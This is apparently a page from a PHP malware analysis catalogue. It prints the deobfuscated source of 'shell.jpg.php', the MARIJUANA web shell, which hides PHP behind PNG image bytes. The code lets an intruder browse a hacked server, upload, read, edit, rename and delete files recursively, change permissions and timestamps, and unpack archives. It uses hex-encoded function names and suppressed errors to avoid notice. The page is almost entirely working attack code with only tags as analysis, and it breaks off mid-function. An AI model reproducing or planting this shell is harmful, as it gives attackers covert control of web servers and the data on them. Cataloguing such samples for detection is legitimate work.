PHP Malware Analysis

Back to list

Filename: shell.jpg.php

Tags

Title
  • MARIJUANA
Input
  • _GET
  • _POST
  • _FILES
Environment
  • set_time_limit
  • error_reporting

Deobfuscated code

 vEPNG


IHDR{`E=IDATxw\gu?wfvW]d˖-ލmp/L@o @B!
$ߐ		R `B0^dYrQj۴>wfV3F}Y2{S>aaaaaaaažA$ƒ.~/b_t/sTWzv)B*}WЍD^)zkgZh&"#-
?r+$TMt*^ ﲯDA"8ti}~2
0`axi\?i_c*
ZפֿQ$
?gd4gN^r߿T](ly$RWPU6@Q5<"RkN$0Z=CfA:/1V?gߧjK^CH&=hSM"]EXz(l砳ճ@	_7|(4W!Ls&w.+ȏlc]&1!F[f
_"޷x׫3YDdQREGI+\qm6*إ`G$N0[jTn;VCِMb5p-8ACMOG> Z(VurߴLj4C+[df-PҰS}y@UXiX ?:Pݼ(ko2q]m[yc|vT6E,7ޱ6}&z~,z0C`XdX,5G #MJz[B
@ag~ޫ(+J̷+hEg;^=infС[]6&͓"¨~ucnc$]*QP2A@fl5
./fzT^f&Y$ak]zj!v$*[͑,r~OC|}ѡmte)aZ]"gVifZzl
<~z<֢ .2\>{RO#CY.2~bՆV@-VWQSm'4xySՕmxoS<qCV{dDL0CjȘS`RcS&!qyP6$zi#2?.UP"8`yVڊqhbg<$v9&HWc{F*
ݪ&B58}nT
E=(Fv*u1v1Y?2%NRv7?zkU9+7Q8
!c@	@*(jFRGQ2Y2T(Hn&}~f$b'RJbJ5dw{d؈fbW9ـϭjbH5ܯgԍ3IMnSlsFYnPٷTEJ*c=ϰi#DѣT~1oH̒`zST[z
[E!=nzUxJM"U0&V7ywt]"oP,DAY8(Q+*(Vkqc.q[[4n9JvǃL2CAX$P2:&b3Iwq.k*b{ɞ:HH\4O<ˠmPs6+DzNP&UmOLIeI6٥d#@8#0*XO
VHՕuAUXnR<!ʪFYh4cl{
&e6l.Jfa{G#;ܮL]p<
!\~ڦ.+:	!Iazn.^&[nXh)s	bm6
clx2Sc1tD#|HU8S$jRÈRBsò;w۽Ͷ7Dn,Ǜ`+D&æ;Σ6{GmxZ,0mÒk5/PpjHX:Q+%~nmO:I*"e1ڰ>]bs[
aGpr_$Yo$PiRnc,5ѻpb505ǘ>Cf8xo,p73%.p%6tEG;cst"?evTF݈
‡\I1ʱGmYbHѡme0l.entf DG
@l#V9@؎Х1nw.͆McZ;HsSHҤ32Q+
Iu~	fdBPCru>ܽӭ2j!){ՖO={'@nkd8xğؗ\(<Q3ʎLظMlR'ggcfy=m!
.RW)ZbL]UvkRCZK9j۞̀Π>atneKu7+$pF98Gi=$Ve)9Ŧ*mTWP0Q24EYg{61-ix5.uQ7zɖHw3l]o.ִS~yت~fV7HkŖJe.37UAp8P+h7tGREEe[kT3AAb`̯7Nػӯ.2,g:OQIX:
LE-$Z[{&ҥh@E(a=[k-ՔC5q!ǐL.c
s[VtyV̠%I]~7co;8όUx/"]FM|zʪPS)(*-ȃαHEo`"Ozt3QflgxXza:P42dNY*u9vc0q#XbUm
6p"2֧R/I׺RpņlDwq-V986mKa5P1nP70lnp>;+T5hGNTVsiH=8B
b׬2<z,
t$]*CV(S53gT5Y`{,tey.pEvU%Vg͠ZoDbf	2Wd'Mu^뭲.qAi_ ld:[^p^3tbfau'xPF/qv¬UG]]QAb~VL8ab=pC:NEVéR6,ɦyQ>n(ȔE~ϛge`Yn⯽gTVUO-^cLqYLfnac_b92[U-0+cѦˬ5K%vUԤY5$jqyHqe)(HtՍ'lЁ.]k{4U@u?fS0K\MAyܰTKn5-Fud~UbRRHB+1YvCiHA䍎y].r'nXfa8.K9ߐz0C BE6[m7)h8[o.2ѐ]ʺ*C@(Lqi7ЁEn"5UǙeb'⧶Lu{mkYj ':^FʦuÀ*T:W͵q7
'8~zW4,
%ay/Y>KjY[&UPWUƣv٬#4[ٶvaJ*\m^EMW:ҙfYzr-SAE=P3Enj't3j)x
K=\A;,5Nf!+yzU*t)pr>x"\)@}Lh,:%n[>BQ-]Xb5#dcU%iD17xL5I@md]$?WVQecgZ~myck!R
?kF{]onlza}G;ND_tmGovB;c4HlXw[jY]Kĺb:ju'qęSf$r֗4vnA*yQkwy}Vdi^bMyQNM~fM`X=͎q2Q^eZ8NβҰݯk˝l^X^
ӿz*#b<g4}%^a1S&8"XIPOT0šZq-l#| ebowG,o6T.sN֓S%V>^LۭVs+
;6OP%Y/nPs'L;w9jCDQjv3(֫钥Bjs-5r̕*6dyQSu8$km*YR[aAO oe6w9l]Ш*jt%}[$Rq
k~d'pdX;*c^$*b~fAu+U	Ɠ$I(:S6)aEowQ\2}:͎q;Uڈ31aYOAM$U{\hXDƇP6e5jqjC628ȱ!"RI&Lt5n~{Q]\^}0'@h<>-pP6v1~`[#6-1RUelAK+t]mie.EHl4GpMHod<llmʖcsm.xmJrE@n,{lCM ]՛|۠:Y-SNeRh*jzȹ	u6Fnc3{V{CSQ`XXH/>:@ܬ=֘+QXOE+;—9~֘gff#^;Mخfj*8-naXN_u8ʘY`	&e._.BIDOˬDc>now!ZWo,1eαUN5F?үBx\7.AXc0"GƟ,^N+]	ɟDdC4ţnݫ]cص&7M^g:
vř)+׊$ÒF红bjJbgX+Spꒆ|@EA.5BG:Q1A6dLI{JyG̱F]kj+n`@mj)?USG|*R
cuwQBE(%b?B
(nI>AEInjQ2cdmeqcKI; U3!*Pous"jщȨbP샡p<oԂxe*?.*,~0Ẳނ1K|k"@IQ!FVb-5YW^g="AúllaK(9W2OJt~k
xaHd%
BGzzŪq06ӳUe`oSh"3f]G{ķ=n?6A|ʏx'*e{n;cOd}ŭUg~!<
uG0&֣&6áUAM65;6'y)@%RUxvm>~ۧ Ujyʉ6V:+Xc>eĀռ\c!H&+M-m.q;|EWUSKqKtIy@#+?P8cE~נtRj
>b^Mqb5CQ\4gbzC&˝hm!g[GZiW8h\*7dmXDÇ^cǶ6)[kFOSCt0#0ɥfzcMAf:{KA.>w#=ڱE-1;/Tj|SLr%
ؗ}^:7a].wfnEywF>.2{w8w?oXAH
Horc\sdn	Q?mJq	7}e.tv?r^+=[m&
Lswpͷ%u
H=>kD
=~ߟy'<c{&kE3,J[іTjtn͵ˉ>poou.}ߺ=h9B=>N+0ZUc(]-x@)cÈ٥`>%^3mXj/E)^=sj8xha^V[TD<þ뇾g)o7yFM~g?J=BfOs0O>DqJJl&*f;+&3ʆL
	m.FUlPjj".
Ơ-^ojZ;ǃeI|_Zg8Zzh[Vb|Ƚ^nժ
j^uu	!iPlKaÞrͺ_Yn}V)jaTw,TT.Zfb$.!cL-gAm.Y\q'Y_#5l6nytpHB'U?)#JzTu:İ?vwoe>`>4~ 7'+ZhUuۦ}&:ཧ!򟘪``RWUUfa5dTc;l?S0CVy0,)&ulw|PHy}n`Nxo)vZ"
6{kcnSnK¦NKzlNqs&[(0'B]|l-SZ6?{&ģ`AHj坻s3,'c'mc}	w7HA	B|4ds"ad3_CoE-hWѠ+6_'j[eQÚorA(m
8T
Xc5VϼÄW3jmuWB0ߎqNlxTa3hMb[\hGm.r-.n#:
wV:k3mֺFDF]#q%
AŊbHl{H_XFFyM~fvD@f^
cEE<"ؚ+faӑH]z]A=.(!zy([jHc]c;}WuuwHC>mIZFDOdo;  OG#?xA.Y!+~RetƩ_4:}hԚhV&kls#\e-SNhb10A=rN]~iӾeao3JndLA^cU.>u]6b}\d2tΚ].T2<sP&wM_'+J|ħ\[Ew"ܱm;C[Xj'j{70׆mqIvcNi)-I*FQIZH阴;-q7wHBZH(Mbc1?cb7i%H-KұiO:%=0voM)=5(Bq(-]5MǪL3<aSvŷ(hgTA!b%y{CV;<rS-Uop8pg%:7mkѭHUv<_pK}TroÓ!l"R
s~[ܭn!ZiYE'ڜ/x~8m/͙ }V:CRmSHNReo5zquhdD gϨ@
3^]0ؒ
JP;@ɼ]n`Su
I!?7{fG62}lhv;}VK$
vOyce.S`e6&RCv))K-sX50+*1M_!aXͽ~}SU4ZB?#Q1zg%a.74)ffi,mg\%Zo.Xp/γZ>?eCnuw\=ۏ+
w}ɰX٠J(j`c ~'S7]pHD0?u9ӳZ!Xk$kw*4~;ن}:D
vjr]s}͍'D[f4BB],a5?+9=ҖTHqYC X~l-g,W-%r<+k}歝Pe[guI`oQ7
H_~b3zjqfڬ/;4~Q-J*7
ϸB!!j4'^{ 8
r&EDc#5HC4=%VU&B|C `qootDjvFvK=!%ܭ=oKSsMuq	$1d
)XUp'lm	Z&_r+LW0iw:?(Cjkβc|(Q1͐mf6Clhݪ]>m.9ru#bXeƣߐImF>9±XH#-v1
t
!5dOn[
RM3!oua,׫'b#iw"C3^AiF;ĐX+1b.cL,slATkJQ$E&y[*C`lxX2z+mNTI(۪bmPr
M)Z,eqlS|FSA!?c4G1LyK8٦a=d~q&:4 |
\YP>a}hlKTjOoQ,9uj(Ll
<W$ѥl0dٸFnu3Exјq 
@"Q
[_yT+Kg+͊Èɼhl:aSjTTQ<s6XN1VeJ5+(+#2^
2s'w=\\^)1Fo$֥A8+*ʚTc
?:Hr:rwWpo>?Ֆ	@VO\Vm!SAU5TSQS6hPYj,kaG@
n8?b6KyۿwQ0"N0"1lOS>
<Ýt&2o͊!Y[M;>k9h}>Af'%'Uu_RlSEut0)Mx^
ߥ5>S6*!=6%5N+W=2F	)"БD(LlyJhB8d2 je&1	O7/:|:Rݡ&7m+qh‡34{}F!w3s=4k17!i5goaЫk>byT(x4g?U$ol=;4
WBB%r;x6#1
U})`)-wGQc{a@E 2`Q-?G3
iYxUsܢB[tqԃ+Xo]֥(i}5{CYilX|gdZװn9fTOyRH?o>(6wH;@#pdMAkmHsD_t+uc"uR[ja<t4n݅ڍ$5E^J[Wo[`NȌ~PWT	^
WՐw{]|{-N[}ͮ%'跰c~OGG첿v_^!+Q	-unu;#z[ft:Zb&g)L}wwf٪H	BNS?a`E3ސ
ELϦ4E0͛[{NON	k|i9wz;'R >z%4ʽ@@l[wy=RH͆tIh
ٹO$vx̿a*rdwdp/F^\*W[iw4
.8ou9i=^zIEg
\mh\qȐiXi+dgynrc@8B l!"]vx~fź"fzoYVt<?KOe
[5{0,^坶zj씘Kdَ6Ӏ]gqVP築Vdv{7r;НNpcdƘlMzmw%[ոۿ/F@LfuMch%L2?3j(t%zweƛ<wdYYTUɐAV
ua8Eq(|tx:8Ąo&aDE-ZpY&{F
@QW4TsMS9	@e~nd~2XOx3C8
VS`jvZ	56:L|Iqn#	<'Id}^
gV8`+ɎD*2Iw#^'{i+vi|y2Z$1;wdM+ti9l!s\aj
|Қ68*",ȅ:1Y}#'8
)]r}*URUe;bK1ЬKՔ${@]joy-3?R2\[OXi#y555k_T~n?֏Yw敊!˨(htT$0s$RgCQ$n_PdD_s}=a1݊Q;mZ]R{]j|}̂;]py"=]6F3g]"n3wd#20Cp:XfŮ2ZI5t&\5DLglD+*=#=jF̀q]э6Quȝm/yGH[oW);5ml|Ά`W>g'PDdwhsVp6 Q9л\雾WEˏa|FaDho:cvRy	xm+RDʦkeO*fϏ\ϰl2P[M97_Iv:ҧ}ê!Ac'F	LmV@JL
o]><dSš,"šQuQ4d#}
bX#kja:pojsAno(h^s4O
5PPmϸmsMM\sY 6}Ь,{uQ.d6w66?L.Աt9jWcF
sA|ɮvãևADfi6]7,vUP'i/CQڏ
R5Gz
=΢@sa5;INO#P,狏t;Υ7nuʪ
Jʡi3@׾'i#\6?0W_hʚ_6y{TlcD-7OPITU=m UU}eqwM
OUpSmk	v"zѯidkn_vQ<L-eJZ#/1Ω^ֽ{iͧ.]X>W_^‘[)7zA9mzR%÷~٧;zT<1'V)m$Ɗm_~9yF#2H=D6o*\dէy{幼8gRCVN`D"(L60i}.xXIf7Rpy`4BĊ
R$	z)ڸ^OXSr
9cI8io qxfύœkКɡѫ;?48Lxhى.]Ktd69SRj!r3-@#̣<W<1z.<UCf%*z_U@rz>dBH2A
\n'-ժzCskDóC4.Pޅ4F,2Z͐9V樉E(V&r^n|KXe<0ؕZdS\[iv(Ix<PeEUItCT<fCjӽ	6[ 2h{a6Tb=%
lhr1;E95&X!G^g,
C3n4$&h9Q+{u5:إN3p`DmsX*Ԟh)Kf(Ҝ1֧`RQK&~Slg-9I72s-Bu#5	fP1OXfcv3ͶνFYs,R
:#lG{RDHdWyY,Ht92^EZ²P;a%ǹ[լwݥX}ǽb*p HEd;,=xwmFdt<߰ARm,lk
m$5Ǐ`u~74D5珌VGs3;s3A*}ɞ	(c3bj"k
4֣#Y@v6Üߑ[q,XhT
40Z&	SE{Wmr%TVU]tsijvXئ/LY9Zbv8ؽA<گD	˛Vxllcoa7y,3G~j\rO=CydN16U0Iz
k%tM!#ɺVo;hUU7ʡNt
Mi&BǢ'=NtwzeJ#̓xyKVYQK4œ^WWX7(GyDA;MlGnxuɺhf痗o,;]lgLGDwG*w{\WܣA<Ϥ~>[Tk}f342ƪFjiЊ%#8G\m>5g=J!wU>jE
a;gk%Fl{zHQlĒ&[>,EI!sֿg}~3m=~F}&gbcQkwfT`km%4w+j*in3c$0/	8[,N0ٟ(IB˩C} t{C\E%"3,*"jfmY`YfȐ*	NhY8K&G
r28Z6iΊZtYVlqƷj/Lmm*0xn~N^k\lk$clkVB4[+L1ɉ5eNr#B+9
emm1A7RU!fhI؜_Z'';O۟Ur^~h+3A2Mom˟ܣ#_ا8-f=#W-V9Vwiϫ
׿
;:S{~d.6w'<
ߞ:E?v_
U
f	ZmGh1&E6(uKTUnY]ڶe_th.vylEٌb -mQF{!?i-GyQ@7xZSό(0<ie*ڞ^W(6+~5g#{C1fam{E]UUþaMTS>E!{粃MWaDU֒PЎ~]rSl\ha#hV[h*K|`fru'&6퇶fX͎3P7o*[wܳJfAN4FM/H]4S.[bX o-äw#{ϢqV:̰>R-sMyػ]o@3JLL:)0^.u^Bw3Fzե~ZWMsWcFJ6(/ʼ榿О~+H2dek_8:;_jYwUQD	@vQ.|^L:ϐ~!hOaYt+MP|FwbHn8m*9~tүn?94}.4+^JAs6D]3pW#We?<=CgG9kiG{.nhˑ1Z8;-5mͯLͶt+-j(i']-5~s1;
OGQuurnr1,g%!S]\7IJT{A*UDmomr&u/nQ^`ɫxsMҫ?y|PXEboe4ioh[[*Hːb	%7˼O5**^Zz%a׻)T0M5@S(w+BIȯfi}q=OIUj»G6eіYT3S2P}^gckK[}<xP4PI֧0/?ioh
d{,O}f*,/HomE=jPon=As5I64_/gcT^}֫Y(R-36?TEj׸jBsgo*h+*YAg6$ckj'te٠I.#BCne^s`?EdeWw\5KDGҰaZ[BEǛd $IH#3ņ#MݑJ
|ס>H?4`E-mA#4ܐig9zfueQ`S¹!+
Хm"]vő1?Bs%jR[r'/;ч{l4hsOY͛i];jYd a6)
>#KS?39	`,5Р4HLc=cCC>/)P;dY;GBTACo?skv>|R?*	PFO}Qim@	@>%EFW3=cgw}FΪZCK/KZޗL#FِEiFD\qq;@͠>eU0Wnw}:EwcG#q3]&|(+UJ[AP,fc-xsa+JlIUٷ6*r-uYd\y:7*1OTT꿃lilwu++[^?}o5-a,~)j4onxo&ηأB]j/B/mI	3"uuec\b[ސY'zu+;]XkARL[P$
) Q^iPg9[-Y
+Dgiq`%IK~Ϛ|֕.t!$2̃E϶sne{OnKr;
yN3yXjPq%|5˶F.?	X;82'ʻ+w 2X'uIUUty"9,/wG*+zcx\rڮQwOmzovo5-l# .x)yJJ*1GXGYbcbKn7)[	N2oβf>OO74
/>IG|EBړNLߙޘLM?Si!-/_I'iO:&ޚ14NQZH_>e_:*Ii!҉oOմVtNtfZL8IKi)-]i!(\Ouhkݐ6ꓨ[T֙(l%l^q^7Ps#0QZfYJV
_;:΂DtoV-q{\m~,	3|HwvU42B7Zц3Fe̺({Gi(LJĶN;u^aaLl3M;t,~hİ|zlc-vk;zvɶ&iaK孮2b?\jJbkV&Da>oC݅նnA
@޵ޘAdWdK3C
vnTs6+(Wpta/y\@Y7mO1\RTCdI!(DY_0ja|K(#e+̓y4J"<g;}ِT,8_s_jЁGow$*;J$M"GS}O
9/p3㼀V	4D32X٦@˷/so
`Dge0هF:_v,v{fgxF R5D㬳:v
-^縆VF~0^fF1fyMsPxl'|*V%_v(98WhxLxx	
/l	(_2!'^^'r
Mϑ!|5~Ьu¯>>>>>>>>>ï!:KIENDB`<?php 
header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);
$Array = ['7068705f756e616d65', '70687076657273696f6e', '6368646972', '676574637764', '707265675f73706c6974', '636f7079', '66696c655f6765745f636f6e74656e7473', '6261736536345f6465636f6465', '69735f646972', '6f625f656e645f636c65616e28293b', '756e6c696e6b', '6d6b646972', '63686d6f64', '7363616e646972', '7374725f7265706c616365', '68746d6c7370656369616c6368617273', '7661725f64756d70', '666f70656e', '667772697465', '66636c6f7365', '64617465', '66696c656d74696d65', '737562737472', '737072696e7466', '66696c657065726d73', '746f756368', '66696c655f657869737473', '72656e616d65', '69735f6172726179', '69735f6f626a656374', '737472706f73', '69735f7772697461626c65', '69735f7265616461626c65', '737472746f74696d65', '66696c6573697a65', '726d646972', '6f625f6765745f636c65616e', '7265616466696c65', '617373657274'];
$___ = count($Array);
for ($i = 0; $i < $___; $i++) {
    $GNJ[] = uhex($Array[$i]);
}
?>
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

		<head>
			<meta charset="UTF-8">
			<meta name="robots" content="NOINDEX, NOFOLLOW">

				<title>MARIJUANA</title>

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="<?php 
echo basename($_SERVER['PHP_SELF']);
?>">
						MARIJuANA
					</a>
				</div>

				<div class="q x w">
					— DIOS — NO — CREA — NADA — EN — VANO —
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					<?php 
echo $GNJ[0]();
?>

					<br />

					<i class="far fa-lightbulb"></i>   <b>SOFT  :</b> <?php 
echo $_SERVER['SERVER_SOFTWARE'];
?> <b>PHP :</b> <?php 
echo $GNJ[1]();
?>

					<br />

					<i class="far fa-folder"></i>
					
					<?php 
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    $GNJ[2](uhex($_GET["d"]));
} else {
    $d = $GNJ[3]();
}
$k = $GNJ[4]("/(\\\\|\\/)/", $d);
foreach ($k as $m => $l) {
    if ($l == '' && $m == 0) {
        echo "<a class=\"ajx\" href=\"?d=2f\">/</a>";
    }
    if ($l == '') {
        continue;
    }
    echo "<a class=\"ajx\" href=\"?d=";
    for ($i = 0; $i <= $m; $i++) {
        echo hex($k[$i]);
        if ($i != $m) {
            echo "2f";
        }
    }
    echo '">' . $l . '</a>/';
}
?>

					<br />

				</div>

				<div class="u">
					<?php 
echo $_SERVER['SERVER_ADDR'];
?> <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple>  UPLOAD
						</label> 
					</form>

					<?php 
$o_ = ['<script>$.notify("', '", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'];
$f = "<script>\$.notify(\"OK!\", { className:\"1\",autoHideDelay: 2000,position:\"left bottom\" });</script>";
$g = "<script>\$.notify(\"ER!\", { className:\"1\",autoHideDelay: 2000,position:\"left bottom\" });</script>";
if (isset($_FILES["n"])) {
    $z = $_FILES["n"]["name"];
    $r = count($z);
    for ($i = 0; $i < $r; $i++) {
        if ($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
            echo $f;
        } else {
            echo $g;
        }
    }
}
?>

				</div>
					<?php 
$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
$c_ = '</td>
							</tr>
						</tbody>
					</table>';
$d_ = '<br />
										<br />
										<input type="submit" class="w" value=" OK " />
									</form>';
if (isset($_GET["s"])) {
    echo $a_ . uhex($_GET["s"]) . $b_ . '
									<textarea readonly="yes">' . $GNJ[15]($GNJ[6](uhex($_GET["s"]))) . '</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d=' . $_GET["d"] . '&e=' . $_GET["s"] . '\'" type="submit" class="w" value=" EDIT " />
								' . $c_;
} elseif (isset($_GET["y"])) {
    echo "<table cellspacing=\"0\" cellpadding=\"7\" width=\"100%\">\r\n\t\t\t\t\t\t<thead>\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<th>REQUEST</th>\r\n\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t</thead>\r\n\t\t\t\t\t\t<tbody>\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<td></td>\r\n\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t<td class=\"x\">\r\n\t\t\t\t\t\t\t\t\t<form method=\"post\">\r\n\t\t\t\t\t\t\t\t\t\t<input class=\"x\" type=\"text\" name=\"1\" />  \r\n\t\t\t\t\t\t\t\t\t\t<input class=\"x\" type=\"text\" name=\"2\" />\r\n\t\t\t\t\t\t\t\t\t\t<br />\r\n\t\t\t\t\t\t\t\t\t\t<br />\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" class=\"w\" value=\" OK \" />\r\n\t\t\t\t\t\t\t\t\t</form>\r\n\t\t\t\t\t\t\t\t\t<br />\r\n\t\t\t\t\t\t\t\t\t<textarea readonly=\"yes\">";
    if (isset($_POST["2"])) {
        echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
    }
    echo '</textarea>
								' . $c_;
} elseif (isset($_GET["e"])) {
    echo $a_ . uhex($_GET["e"]) . $b_ . '
									<form method="post">
										<textarea name="e" class="o">' . $GNJ[15]($GNJ[6](uhex($_GET["e"]))) . '</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										' . $d_ . '
								' . $c_ . '
								
					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
    if (isset($_POST["e"])) {
        if ($_POST["b64"] == "1") {
            $ex = $GNJ[7]($_POST["e"]);
        } else {
            $ex = $_POST["e"];
        }
        $fp = $GNJ[17](uhex($_GET["e"]), 'w');
        if ($GNJ[18]($fp, $ex)) {
            OK();
        } else {
            ER();
        }
        $GNJ[19]($fp);
    }
} elseif (isset($_GET["x"])) {
    rec(uhex($_GET["x"]));
    if ($GNJ[26](uhex($_GET["x"]))) {
        ER();
    } else {
        OK();
    }
} elseif (isset($_GET["t"])) {
    echo $a_ . uhex($_GET["t"]) . $b_ . '
									<form action="" method="post">
										<input name="t" class="x" type="text" value="' . $GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))) . '">
										' . $d_ . '
								' . $c_;
    if (!empty($_POST["t"])) {
        $p = $GNJ[33]($_POST["t"]);
        if ($p) {
            if (!$GNJ[25](uhex($_GET["t"]), $p, $p)) {
                ER();
            } else {
                OK();
            }
        } else {
            ER();
        }
    }
} elseif (isset($_GET["k"])) {
    echo $a_ . uhex($_GET["k"]) . $b_ . '
									<form action="" method="post">
										<input name="b" class="x" type="text" value="' . $GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4) . '">
										' . $d_ . '
								' . $c_;
    if (!empty($_POST["b"])) {
        $x = $_POST["b"];
        $t = 0;
        for ($i = strlen($x) - 1; $i >= 0; --$i) {
            $t += (int) $x[$i] * pow(8, strlen($x) - $i - 1);
        }
        if (!$GNJ[12](uhex($_GET["k"]), $t)) {
            ER();
        } else {
            OK();
        }
    }
} elseif (isset($_GET["l"])) {
    echo $a_ . '+DIR' . $b_ . '
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										' . $d_ . '
								' . $c_;
    if (isset($_POST["l"])) {
        if (!$GNJ[11]($_POST["l"])) {
            ER();
        } else {
            OK();
        }
    }
} elseif (isset($_GET["q"])) {
    if ($GNJ[10]("/var/www/html/input.php")) {
        $GNJ[38]($GNJ[9]);
        header("Location: " . basename($_SERVER['PHP_SELF']) . "");
        exit;
    } else {
        echo $g;
    }
} elseif (isset($_GET["n"])) {
    echo $a_ . '+FILE' . $b_ . '
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										' . $d_ . '
								' . $c_;
    if (isset($_POST["n"])) {
        if (!$GNJ[25]($_POST["n"])) {
            ER();
        } else {
            OK();
        }
    }
} elseif (isset($_GET["r"])) {
    echo $a_ . uhex($_GET["r"]) . $b_ . '
									<form action="" method="post">
										<input name="r" class="x" type="text" value="' . uhex($_GET["r"]) . '">
										' . $d_ . '
								' . $c_;
    if (isset($_POST["r"])) {
        if ($GNJ[26]($_POST["r"])) {
            ER();
        } else {
            if ($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
                OK();
            } else {
                ER();
            }
        }
    }
} elseif (isset($_GET["z"])) {
    $zip = new ZipArchive();
    $res = $zip->open(uhex($_GET["z"]));
    if ($res === TRUE) {
        $zip->extractTo(uhex($_GET["d"]));
        $zip->close();
        OK();
    } else {
        ER();
    }
} else {
    echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d=' . hex($d) . '&n">+FILE</a>
									<a class="ajx" href="?d=' . hex($d) . '&l">+DIR</a>
								</td>
							</tr>
						';
    $h = "";
    $j = "";
    $w = $GNJ[13]($d);
    if ($GNJ[28]($w) || $GNJ[29]($w)) {
        foreach ($w as $c) {
            $e = $GNJ[14]("\\", "/", $d);
            if (!$GNJ[30]($c, ".zip")) {
                $zi = '';
            } else {
                $zi = '<a href="?d=' . hex($e) . '&z=' . hex($c) . '">U</a>';
            }
            if ($GNJ[31]("{$d}/{$c}")) {
                $o = "";
            } elseif (!$GNJ[32]("{$d}/{$c}")) {
                $o = " h";
            } else {
                $o = " w";
            }
            $s = $GNJ[34]("{$d}/{$c}") / 1024;
            $s = round($s, 3);
            if ($s >= 1024) {
                $s = round($s / 1024, 2) . " MB";
            } else {
                $s .= " KB";
            }
            if ($c != "." && $c != "..") {
                $GNJ[8]("{$d}/{$c}") ? $h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d=' . hex($e) . hex("/" . $c) . '">' . $c . '</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx' . $o . '" href="?d=' . hex($e) . '&k=' . hex($c) . '">' . x("{$d}/{$c}") . '</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=' . hex($e) . '&t=' . hex($c) . '">' . $GNJ[20]("Y-m-d H:i", $GNJ[21]("{$d}/{$c}")) . '</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=' . hex($e) . '&r=' . hex($c) . '">R</a>
								<a href="?d=' . hex($e) . '&x=' . hex($c) . '">D</a>
							</td>
						</tr>
						
						' : ($j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i> 
								<a class="ajx" href="?d=' . hex($e) . '&s=' . hex($c) . '">' . $c . '</a>
							</td>
							<td class="x">
								' . $s . '
							</td>
							<td class="x">
								<a class="ajx' . $o . '" href="?d=' . hex($e) . '&k=' . hex($c) . '">' . x("{$d}/{$c}") . '</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=' . hex($e) . '&t=' . hex($c) . '">' . $GNJ[20]("Y-m-d H:i", $GNJ[21]("{$d}/{$c}")) . '</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=' . hex($e) . '&r=' . hex($c) . '">R</a>
								<a class="ajx" href="?d=' . hex($e) . '&e=' . hex($c) . '">E</a>
								<a href="?d=' . hex($e) . '&g=' . hex($c) . '">G</a>
								' . $zi . '
								<a href="?d=' . hex($e) . '&x=' . hex($c) . '">D</a>
							</td>
						</tr>
						
						');
            }
        }
    }
    echo $h;
    echo $j;
    echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d=' . hex($e) . '&y">REQUEST</a>
									<a href="?d=' . hex($e) . '&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
}
?>

			</article>
			<footer class="x">
				©TheAlmightyZeus
			</footer>
			<?php 
if (isset($_GET["1"])) {
    echo $f;
} elseif (isset($_GET["0"])) {
    echo $g;
} else {
    NULL;
}
?>

			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php 
function rec($j)
{
    global $GNJ;
    if (trim(pathinfo($j, PATHINFO_BASENAME), '.') === '') {
        return;
    }
    if ($GNJ[8]($j)) {
        array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', "GLOB_N_SOWT"));
        $GNJ[35]($j);
    } else {
        $GNJ[10]($j);
    }
}
function dre($y1, $y2)
